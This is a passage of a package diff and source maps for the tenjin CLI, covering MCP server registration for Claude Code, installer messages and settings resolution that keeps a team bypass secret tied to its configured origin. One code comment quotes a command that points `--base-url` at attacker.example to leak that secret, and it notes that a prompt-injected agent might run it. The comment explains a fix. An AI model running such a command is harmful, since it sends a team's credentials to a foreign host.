MCP_SERVER_NAME, scope, command };\n const existing = await (deps.readMcpEntry ?? readMcpEntry)(scope, cwd, home);\n if (existing.state === 'ok') {\n return { ...base, registered: true, reconciled: 'already-registered' };\n }\n if (existing.state === 'unreadable') {\n return {\n ...base,\n registered: false,\n reconciled: 'unrepaired',\n reason: `the ${scope}-scope registration file could not be read, so nothing was written over it`,\n };\n }\n // REFUSED, NOT REPLACED. Nothing of the user's is removed to make room.\n if (existing.state === 'wrong-command') {\n return {\n ...base,\n registered: false,\n reconciled: 'unrepaired',\n command: `${mcpRemoveCommand(project)} && ${command}`,\n reason: `an MCP server named ${MCP_SERVER_NAME} is already registered at ${scope} scope and launches something else. This command will not remove a registration it did not write; run the two commands above if that entry is stale`,\n };\n }\n const which = deps.which ?? ((bin: string) => onPath(bin, env));\n if (!which('claude')) {\n return {\n ...base,\n registered: false,\n reconciled: 'unavailable',\n reason: 'the `claude` binary is not on PATH',\n };\n }\n try {\n await (deps.registerMcp ?? runClaudeMcpAdd)(command, { scope, cwd });\n return { ...base, registered: true, reconciled: 'added' };\n } catch (err) {\n return {\n ...base,\n registered: false,\n reconciled: 'unavailable',\n reason: err instanceof Error ? err.message : String(err),\n };\n }\n}\n\nexport type McpEntryState = 'ok' | 'absent' | 'wrong-command' | 'unreadable';\n\n/**\n * What an entry named `x402` actually launches. The name proves nothing: a\n * stale entry pointing at another binary would read as a working request tool.\n */\nexport function classifyMcpEntry(entry: unknown): McpEntryState {\n if (entry === null || typeof entry !== 'object' || Array.isArray(entry)) return 'absent';\n const { command, args } = entry as { command?: unknown; args?: unknown };\n if (typeof command !== 'string' || command.length === 0) return 'wrong-command';\n // The basename, so `/opt/homebrew/bin/tenjin` and a bare `tenjin` both pass.\n const binary = command.split(/[\\\\/]/).pop();\n const runsRouter =\n binary === 'tenjin' && Array.isArray(args) && args.length === 1 && args[0] === 'mcp';\n return runsRouter ? 'ok' : 'wrong-command';\n}\n\n/**\n * The file each scope writes: the project's own `.mcp.json`, or the user's\n * `~/.claude.json`. Neither can inherit from the other. Shared by `install`,\n * which reconciles against it, and `doctor`, which reports it.\n */\nexport async function readMcpEntry(\n scope: 'user' | 'project',\n cwd: string,\n home: string,\n): Promise<{ found: boolean; state: McpEntryState }> {\n const path = scope === 'project' ? join(cwd, '.mcp.json') : join(home, '.claude.json');\n // ONLY \"it is not there\" is an absence. A permission or filesystem error on a\n // file that DOES exist says nothing about what is registered in it, and\n // treating it as missing sent the refresh on to `claude mcp add` over a\n // registration it had never read: a failed add then looked like a machine\n // that simply lacks the tooling, and `tenjin update` exited 0 over whatever\n // was actually in there.\n let raw: string;\n try {\n raw = await readFile(path, 'utf8');\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code;\n if (code === 'ENOENT' || code === 'ENOTDIR') return { found: false, state: 'absent' };\n return { found: true, state: 'unreadable' };\n }\n let parsed: unknown;\n try {\n parsed = JSON.parse(raw);\n } catch {\n // NOT an absence: the harness's own file is there and unreadable to this\n // build, so neither \"register it\" nor \"it is missing\" is a true statement.\n return { found: true, state: 'unreadable' };\n }\n const servers = (parsed as { mcpServers?: unknown } | null)?.mcpServers;\n if (servers === undefined) return { found: true, state: 'absent' };\n if (servers === null || typeof servers !== 'object' || Array.isArray(servers)) {\n return { found: true, state: 'unreadable' };\n }\n const entry = (servers as Record<string, unknown>)[MCP_SERVER_NAME];\n if (entry === undefined) return { found: true, state: 'absent' };\n return { found: true, state: classifyMcpEntry(entry) };\n}\n\n/** Project scope is decided by the working directory as well as the flag:\n * `claude` writes `.mcp.json` beside the project it was run in. */\nasync function runClaudeMcpAdd(\n _command: string,\n opts: { scope: 'user' | 'project'; cwd: string },\n): Promise<void> {\n await exec('claude', ['mcp', 'add', MCP_SERVER_NAME, '-s', opts.scope, '--', 'tenjin', 'mcp'], {\n timeout: 20_000,\n cwd: opts.cwd,\n });\n}\n\ninterface EffectiveLimits {\n maxAutoSpend: string;\n sessionBudget: string;\n}\n\nfunction effectiveLimits(policy: SpendPolicy): EffectiveLimits {\n return {\n maxAutoSpend: toMoney(policy.maxAutoSpendAtomic.toString()).usd,\n sessionBudget:\n policy.sessionBudgetAtomic === 0n\n ? 'no daily ceiling'\n : toMoney(policy.sessionBudgetAtomic.toString()).usd,\n };\n}\n\n/** Only the status-line state that needs the user: one this install would not\n * touch, with the command that adds the footer beside it. */\nexport function statusLineProblems(ctx: CommandContext, result: StatusLineResult): string[] {\n const warn = (text: string) => paint(ctx.io, 'yellow', `! ${text}`);\n if (result.warning !== undefined) {\n return [warn(`The live status line was not registered (${result.warning})`)];\n }\n if (result.state !== 'foreign') return [];\n return [\n warn('You already have a status line, so it was left exactly as it is.'),\n ' To show the live x402 footer beside it, run:',\n ' tenjin install --status-line compose',\n ...(result.compose === undefined\n ? []\n : [' or set this command yourself:', ` ${result.compose}`]),\n ];\n}\n\n/**\n * A few lines a first-time user can read at a glance: it worked, here is your\n * wallet, here is the one thing to do next. The file paths, entry counts and\n * data-handling detail stay in `--json` and the docs; the terminal only grows\n * a line when something needs the user.\n */\nfunction lines(\n ctx: CommandContext,\n s: {\n project: boolean;\n hooks: HooksResult;\n permissions: AllowRuleResult;\n statusLine: StatusLineResult;\n mcp: McpRegistration;\n wallet: WalletOutcome;\n policy: SpendPolicy;\n },\n): string[] {\n const ok = paint(ctx.io, 'green', '✓');\n const limits = effectiveLimits(s.policy);\n const daily =\n s.policy.sessionBudgetAtomic === 0n ? 'no daily limit' : `$${limits.sessionBudget} a day`;\n // The first line only says \"set up\" when it is: a settings file this run\n // would not write to means nothing was set up, and hooks without the MCP\n // server point at a `request` tool that is not there.\n const blocked = s.hooks.skipped !== undefined;\n const needsMcp = !blocked && !s.mcp.registered;\n const where = s.project ? ' in this project' : '';\n const fund = paint(ctx.io, 'bold', 'tenjin wallet fund');\n return [\n blocked\n ? paint(ctx.io, 'yellow', `! Tenjin could not finish setting up Claude Code${where}`)\n : needsMcp\n ? paint(ctx.io, 'yellow', '! Almost done: Claude Code needs one command')\n : `${ok} Tenjin is set up for Claude Code${where}`,\n ...walletLines(ctx, ok, s.wallet),\n ` Spends at most $${limits.maxAutoSpend} a lookup, ${daily}`,\n ...(s.statusLine.state === 'ours' || s.statusLine.state === 'composed'\n ? [' Live status line on: each lookup names its provider while it runs']\n : []),\n ...problems(ctx, s.hooks, s.permissions, s.statusLine, s.mcp),\n '',\n blocked\n ? 'Next: fix the file above, then run tenjin install again'\n : needsMcp\n ? s.wallet.status === 'created'\n ? `Next: run the command above and ${fund}, then restart Claude Code`\n : 'Next: run the command above, then restart Claude Code'\n : s.wallet.status === 'created'\n ? `Next: ${fund}, then restart Claude Code`\n : 'Next: restart Claude Code',\n ];\n}\n\n/** \"Up to date\" only when nothing below it needs the user. */\nfunction refreshLines(ctx: CommandContext, issues: string[]): string[] {\n if (issues.length === 0) return [`${paint(ctx.io, 'green', '✓')} Tenjin is up to date`];\n return [paint(ctx.io, 'yellow', '! Tenjin is updated, but needs one fix'), ...issues];\n}\n\nfunction walletLines(ctx: CommandContext, ok: string, w: WalletOutcome): string[] {\n if (w.status === 'created') return [`${ok} Wallet created: ${w.address}`];\n if (w.status === 'existing') return [`${ok} Wallet: ${w.address}`];\n if (w.reason === 'flag') return [' No wallet yet. Create one with: tenjin wallet create'];\n return [\n paint(ctx.io, 'yellow', `! No wallet was created. ${w.warning ?? ''}`.trimEnd()),\n ` ${w.fix ?? 'Create one with: tenjin wallet create'}`,\n ];\n}\n\n/** Only what needs the user, each with the command that fixes it. */\nfunction problems(\n ctx: CommandContext,\n hooks: HooksResult,\n permissions: AllowRuleResult,\n statusLine: StatusLineResult,\n mcp: McpRegistration,\n): string[] {\n const warn = (text: string) => paint(ctx.io, 'yellow', `! ${text}`);\n const out: string[] = [];\n // The hooks and the permission rule share one settings file, so a file this\n // run would not touch is reported once, not once per writer.\n if (hooks.skipped !== undefined) {\n out.push(\n warn(\n hooks.warning ??\n `${hooks.path ?? 'Your Claude Code settings file'} was left untouched (${hooks.skipped}).`,\n ),\n );\n } else {\n if (hooks.warning !== undefined) out.push(warn(hooks.warning));\n if (permissions.warning !== undefined) out.push(warn(permissions.warning));\n }\n if (!mcp.registered) {\n // The reason stays in --json: raw exec output is noise here, the fix is not.\n out.push(warn('Could not add the request tool to Claude Code. Run:'));\n out.push(` ${mcp.command}`);\n }\n out.push(...statusLineProblems(ctx, statusLine));\n return out;\n}\n\n/**\n * THREE ANSWERS, NOT TWO. A settings file that cannot be read or parsed is not\n * a file without our entries, and collapsing the two let `refreshEveryInstall`\n * read a momentarily broken project settings file as confirmed absence and\n * strike the project off `install.routerProjects` for good: repairing the file\n * afterwards did not bring it back, so every later `tenjin update` from HOME\n * silently skipped it.\n */\ntype EntriesProbe =\n { state: 'present' } | { state: 'absent' } | { state: 'unreadable'; reason: string };\n\nasync function probeOurEntries(path: string, dataDir: string): Promise<EntriesProbe> {\n const found = await inspectHooksFile(path);\n if ('refusal' in found) {\n // `unreadable` here is the inspection's own vocabulary for \"the file exists\n // and this build could not use it\"; a file that is simply not there comes\n // back as an empty, readable inspection rather than a refusal.\n return { state: 'unreadable', reason: found.refusal.reason };\n }\n const present = Object.values(found.hooks).some((list) =>\n list.some((entry) => ownsHookEntry(entry, dataDir)),\n );\n return present ? { state: 'present' } : { state: 'absent' };\n}\n\n/** Shared with `uninstall`: the prune this module's writer already performs. */\nexport { pruneHooks };\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,gBAAgB;AACzB,SAAS,eAAe;AACxB,SAAS,YAAY,YAAY;AACjC,SAAS,iBAAiB;AAgC1B,IAAM,OAAO,UAAU,QAAQ;AAYxB,IAAM,uBAAuB;AAE7B,IAAM,aAAa;AAWnB,SAAS,SAAS,SAAkD;AACzE,SAAO,YAAY,OAAO,YAAY;AACxC;AAEO,SAAS,cAAc,SAA2B;AACvD,SAAO,kBAAkB,eAAe,OAAO,SAAS,OAAO,CAAC;AAClE;AAEO,SAAS,iBAAiB,SAA2B;AAC1D,SAAO,qBAAqB,eAAe,OAAO,SAAS,OAAO,CAAC;AACrE;AAGO,IAAM,kBAAkB,cAAc;AAQtC,SAAS,mBACd,OAA8D,CAAC,GACvD;AACR,MAAI,KAAK,YAAY,KAAM,QAAO,KAAK,KAAK,OAAO,QAAQ,IAAI,GAAG,WAAW,eAAe;AAC5F,SAAO,mBAAmB,KAAK,WAAW,QAAQ,CAAC;AACrD;AAGO,IAAM,qBAAqB;AAG3B,IAAM,iBAAiB;AAUvB,SAAS,iBAA4B;AAC1C,QAAM,UAAU,CAAC,YAAoB;AAAA,IACnC,EAAE,MAAM,WAAW,SAAS,SAAS,qBAAqB;AAAA,EAC5D;AACA,SAAO;AAAA,IACL,EAAE,OAAO,oBAAoB,OAAO,QAAQ,oBAA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MAAM,iBAAiB,IAAI;AACzC,MAAI,aAAa,OAAO;AAItB,WAAO,EAAE,OAAO,cAAc,QAAQ,MAAM,QAAQ,OAAO;AAAA,EAC7D;AACA,QAAM,UAAU,OAAO,OAAO,MAAM,KAAK,EAAE;AAAA,IAAK,CAAC,SAC/C,KAAK,KAAK,CAAC,UAAU,cAAc,OAAO,OAAO,CAAC;AAAA,EACpD;AACA,SAAO,UAAU,EAAE,OAAO,UAAU,IAAI,EAAE,OAAO,SAAS;AAC5D;","names":[]}
|
|
@@ -2,7 +2,7 @@ import { createRequire as __tenjinCreateRequire } from 'node:module'; const requ
|
|
|
2
2
|
import {
|
|
3
3
|
parseConfirmPolicy,
|
|
4
4
|
parseUsdToAtomic
|
|
5
|
-
} from "./chunk-
|
|
5
|
+
} from "./chunk-U2DZISAH.js";
|
|
6
6
|
import {
|
|
7
7
|
CONFIG_DEFAULTS,
|
|
8
8
|
PRODUCTION_ORIGIN,
|
|
@@ -12,16 +12,16 @@ import {
|
|
|
12
12
|
isSameDeployment,
|
|
13
13
|
loadRawConfig,
|
|
14
14
|
resolveSettings
|
|
15
|
-
} from "./chunk-
|
|
15
|
+
} from "./chunk-AR7U7BRG.js";
|
|
16
16
|
import {
|
|
17
17
|
CliError
|
|
18
|
-
} from "./chunk-
|
|
18
|
+
} from "./chunk-JLEF5WHM.js";
|
|
19
19
|
|
|
20
20
|
// src/lib/settings.ts
|
|
21
21
|
import { execFile } from "node:child_process";
|
|
22
22
|
import { readFile, stat } from "node:fs/promises";
|
|
23
23
|
import { homedir } from "node:os";
|
|
24
|
-
import { dirname, join } from "node:path";
|
|
24
|
+
import { basename, dirname, join, resolve, sep } from "node:path";
|
|
25
25
|
function tryOrigin(url) {
|
|
26
26
|
try {
|
|
27
27
|
return new URL(url).origin;
|
|
@@ -128,20 +128,16 @@ function parseProjectPrice(decimalUsd, path) {
|
|
|
128
128
|
}
|
|
129
129
|
}
|
|
130
130
|
async function findProjectConfigFile(cwd, deps) {
|
|
131
|
+
const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);
|
|
132
|
+
return hit?.found[0] ?? null;
|
|
133
|
+
}
|
|
134
|
+
async function findNearestProjectFiles(cwd, names, deps = {}) {
|
|
131
135
|
const homeDir = deps.homeDir ?? homedir();
|
|
132
|
-
const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;
|
|
133
|
-
const warn = deps.warn ?? ((message) => process.stderr.write(`${message}
|
|
134
|
-
`));
|
|
135
136
|
let dir = cwd;
|
|
136
137
|
for (; ; ) {
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
warn(`Ignoring ${candidate}: not owned by the current user.`);
|
|
141
|
-
} else {
|
|
142
|
-
return candidate;
|
|
143
|
-
}
|
|
144
|
-
}
|
|
138
|
+
if (dir === homeDir && deps.homeIsProject === false) return null;
|
|
139
|
+
const found = await ownedCandidates(dir, names, deps);
|
|
140
|
+
if (found.length > 0) return { dir, found };
|
|
145
141
|
if (await pathExists(join(dir, ".git"))) return null;
|
|
146
142
|
if (dir === homeDir) return null;
|
|
147
143
|
const parent = dirname(dir);
|
|
@@ -149,6 +145,63 @@ async function findProjectConfigFile(cwd, deps) {
|
|
|
149
145
|
dir = parent;
|
|
150
146
|
}
|
|
151
147
|
}
|
|
148
|
+
async function findAllProjectFiles(cwd, names, deps = {}) {
|
|
149
|
+
const homeDir = deps.homeDir ?? homedir();
|
|
150
|
+
const levels = [];
|
|
151
|
+
let dir = cwd;
|
|
152
|
+
for (; ; ) {
|
|
153
|
+
if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };
|
|
154
|
+
const found = await ownedCandidates(dir, names, deps);
|
|
155
|
+
if (found.length > 0) levels.push({ dir, found });
|
|
156
|
+
if (await pathExists(join(dir, ".git"))) return { levels, gitRoot: dir };
|
|
157
|
+
if (dir === homeDir) return { levels, gitRoot: null };
|
|
158
|
+
const parent = dirname(dir);
|
|
159
|
+
if (parent === dir) return { levels, gitRoot: null };
|
|
160
|
+
dir = parent;
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
async function mainWorktreeOf(gitRoot, homeDir = homedir()) {
|
|
164
|
+
try {
|
|
165
|
+
const dotGit = join(gitRoot, ".git");
|
|
166
|
+
if (!(await stat(dotGit)).isFile()) return null;
|
|
167
|
+
const line = /^gitdir:\s*(.+?)\s*$/m.exec(await readFile(dotGit, "utf8"));
|
|
168
|
+
if (line === null) return null;
|
|
169
|
+
const gitdir = resolve(gitRoot, line[1]);
|
|
170
|
+
const commonDir = resolve(gitdir, (await readFile(join(gitdir, "commondir"), "utf8")).trim());
|
|
171
|
+
if (basename(commonDir) !== ".git" || !(await stat(commonDir)).isDirectory()) return null;
|
|
172
|
+
const main = dirname(commonDir);
|
|
173
|
+
if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;
|
|
174
|
+
return main;
|
|
175
|
+
} catch {
|
|
176
|
+
return null;
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
async function ownedCandidates(dir, names, deps = {}) {
|
|
180
|
+
const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;
|
|
181
|
+
const warn = deps.warn ?? ((message) => process.stderr.write(`${message}
|
|
182
|
+
`));
|
|
183
|
+
const found = [];
|
|
184
|
+
for (const name of names) {
|
|
185
|
+
const candidate = join(dir, name);
|
|
186
|
+
if (!await pathExists(candidate)) continue;
|
|
187
|
+
if (await isForeignOwned(candidate)) {
|
|
188
|
+
warn(`Ignoring ${candidate}: not owned by the current user.`);
|
|
189
|
+
} else {
|
|
190
|
+
found.push(candidate);
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
return found;
|
|
194
|
+
}
|
|
195
|
+
async function projectRoot(cwd, homeDir = homedir()) {
|
|
196
|
+
let dir = cwd;
|
|
197
|
+
for (; ; ) {
|
|
198
|
+
if (await pathExists(join(dir, ".git"))) return dir;
|
|
199
|
+
if (dir === homeDir) return cwd;
|
|
200
|
+
const parent = dirname(dir);
|
|
201
|
+
if (parent === dir) return cwd;
|
|
202
|
+
dir = parent;
|
|
203
|
+
}
|
|
204
|
+
}
|
|
152
205
|
async function defaultIsForeignOwned(filePath) {
|
|
153
206
|
const uid = process.getuid?.();
|
|
154
207
|
if (uid === void 0) return false;
|
|
@@ -167,12 +220,12 @@ async function pathExists(path) {
|
|
|
167
220
|
}
|
|
168
221
|
}
|
|
169
222
|
function defaultIsGitignored(filePath) {
|
|
170
|
-
return new Promise((
|
|
223
|
+
return new Promise((resolve2) => {
|
|
171
224
|
execFile(
|
|
172
225
|
"git",
|
|
173
226
|
["check-ignore", "--quiet", "--", filePath],
|
|
174
227
|
{ cwd: dirname(filePath) },
|
|
175
|
-
(err) =>
|
|
228
|
+
(err) => resolve2(err === null)
|
|
176
229
|
);
|
|
177
230
|
});
|
|
178
231
|
}
|
|
@@ -181,6 +234,11 @@ export {
|
|
|
181
234
|
isTeamShelfOrigin,
|
|
182
235
|
isTeamModeConfig,
|
|
183
236
|
resolveContextSettings,
|
|
184
|
-
loadProjectConfig
|
|
237
|
+
loadProjectConfig,
|
|
238
|
+
findNearestProjectFiles,
|
|
239
|
+
findAllProjectFiles,
|
|
240
|
+
mainWorktreeOf,
|
|
241
|
+
ownedCandidates,
|
|
242
|
+
projectRoot
|
|
185
243
|
};
|
|
186
|
-
//# sourceMappingURL=chunk-
|
|
244
|
+
//# sourceMappingURL=chunk-PDA2BVFY.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport { parseConfirmPolicy, type SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** Bazaar pay lane opt-in (`tenjin pay` off the configured base URL). */\n bazaarPay: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.blog, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.blog, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.blog read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.sh) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.blog as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarPay: s.bazaarPay.value,\n bazaarRegistries: s.bazaarRegistries.value,\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: BigInt(s.sessionBudget.value),\n confirm: parseConfirmPolicy(s.confirm.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure 